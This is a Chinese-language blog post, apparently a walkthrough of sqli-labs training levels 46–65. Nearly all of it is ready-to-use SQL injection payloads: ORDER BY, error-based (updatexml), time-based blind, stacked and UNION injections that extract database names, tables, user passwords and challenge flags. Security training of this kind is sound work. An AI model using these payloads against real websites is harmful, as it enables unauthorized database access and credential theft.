sqli-labs靶场通关技巧(46-65)

Less46

Order by注入,利用报错注入可以爆出数据库信息

暴库:?sort=1 and(updatexml(1,concat(0x7e,(select database())),0));

爆表:?sort=1 and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),0));

爆字段:?sort=1 and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),0));

爆值:?sort=1 and(updatexml(1,concat(0x7e,(select concat(username,'-',password) from users limit 0,1)),0));

 

 

Less47

和less46一样,是order by注入,这里需要用单引号闭合

暴库:?sort=1' and(updatexml(1,concat(0x7e,(select database())),0));--+

爆表:?sort=1' and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),0));--+

爆字段:?sort=1' and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),0));--+

爆值:?sort=1' and(updatexml(1,concat(0x7e,(select concat(username,'-',password) from users limit 0,1)),0));--+

 

 

Less48

Order by注入,数字型的时间盲注

判断名字长度:?sort= 1 and if(length(database())>8,0,sleep(5))--+

暴库:?sort= 1 and if(ascii(substr(database(),1,1))>100, 0, sleep(5))--+

爆表:?sort= 1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100, 0, sleep(5))--+

爆字段:?sort= 1 and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100, 0, sleep(5))--+

爆值:?sort= 1 and if(ascii(substr((select password from security.users limit 0,1),1,1))>100, 0, sleep(5))--+

 

 

Less49

和less48一样,利用时间盲注,不同的是这里是字符型的,需要用单引号闭合

判断名字长度:?sort= 1 and if(length(database())>8,0,sleep(5))--+

暴库:?sort= 1 ' and if(ascii(substr(database(),1,1))>100, 0, sleep(5))--+

爆表:?sort= 1 ' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100, 0, sleep(5))--+

爆字段:?sort= 1 ' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100, 0, sleep(5))--+

爆值:?sort= 1 ' and if(ascii(substr((select password from security.users limit 0,1),1,1))>100, 0, sleep(5))--+

 

 

Less50

主要考察堆叠注入,也可以用报错注入及时间盲注

Payload:?sort= 1; create table less50 like users;

 

Less51

和less50一样,不同之处在于这里要用单引号闭合

Payload:?sort= 1'; create table less51 like users;

 

Less52

和less50一样,只是少了报错信息而已,所以这关不能用报错注入

 

Less53

和less51一样,只是少了报错信息而已,所以这关不能用报错注入

 

Less54

这关主要目的是找flag,而且限制查询次数为10次

查表:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+

查字段:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='LSAJ0B6O32'--+

拿flag:?id=-1' union select 1,2,secret_9JFP from LSAJ0B6O32--+

 

 

Less55

这关和less54基本一样,不同之处在于这里的id值是用)闭合的,有14次机会

查表:?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+

查字段:?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='RBG0H8QAGH'--+

拿flag:?id=-1) union select 1,2,secret_MA84 from RBG0H8QAGH--+

 

 

Less56

这关和前面的一样,不同之处在于这里的id值是用’)闭合的,有14次机会

查表:?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+

查字段:?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='TRHM6LHUOA'--+

拿flag:?id=-1') union select 1,2,secret_NNCE from TRHM6LHUOA--+

 

 

Less57

这关和前面的一样,不同之处在于这里的id值是用”闭合的,有14次机会

查表:?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+

查字段:?id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='JYS4QTFQ1Q'--+

拿flag:?id=-1" union select 1,2,secret_N3CX from JYS4QTFQ1Q--+

 

 

Less58

使用报错注入,有5次机会

查表:?id=1' and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),0));--+

查字段:?id=1' and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='SMDG0YXULR')),0));--+

拿flag:?id=1' and(updatexml(1,concat(0x7e,(select secret_IEA6 from SMDG0YXULR)),0));--+

 

 

Less59

这关less58一样,不同之处在于这里的id值是数字型不需闭合,有5次机会

查表:?id=1 and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),0));--+

查字段:?id=1 and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ZL7PTMIQTS')),0));--+

拿flag:?id=1 and(updatexml(1,concat(0x7e,(select secret_H46U from ZL7PTMIQTS)),0));--+

 

Less60

同上,不同之处在于这里的id值是用”)闭合的,有5次机会

查表:?id=1") and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),0));--+

查字段:?id=1") and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='J7V35MEKFK')),0));--+

拿flag:?id=1") and(updatexml(1,concat(0x7e,(select secret_V4S2 from J7V35MEKFK)),0));--+

 

 

Less61

同上,不同之处在于这里的id值是用’))闭合的,有5次机会

查表:?id=1')) and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),0));--+

查字段:?id=1')) and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='3JN35INZHU')),0));--+

拿flag:?id=1')) and(updatexml(1,concat(0x7e,(select secret_RS9Z from 3JN35INZHU)),0));--+

 

 

Less62

时间盲注,有130次机会

查表:?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1))>100, 0, sleep(5))--+

查字段:?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 0,1),1,1))>100, 0, sleep(5))--+

拿flag:?id=1') and if(ascii(substr((select 字段名 from 表名 limit 0,1),1,1))>100, 0, sleep(5))--+

 

Less63

这关和less62一样,不同之处在于这里的id值是用’闭合的

 

Less64

同上,不同之处在于这里的id值是用))闭合的

 

Less65

同上,不同之处在于这里的id值是用”)闭合的

 

 

小结

Less46-47  order by注入,报错注入

Less48-49  order by注入,时间盲注

Less50-53 堆叠注入

Less54-57 拿flag,联合查询注入

Less58-61 拿flag,报错注入

Less62-65 拿flag,时间盲注

 

参考链接

https://blog.csdn.net/harrywade/article/details/81842491

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值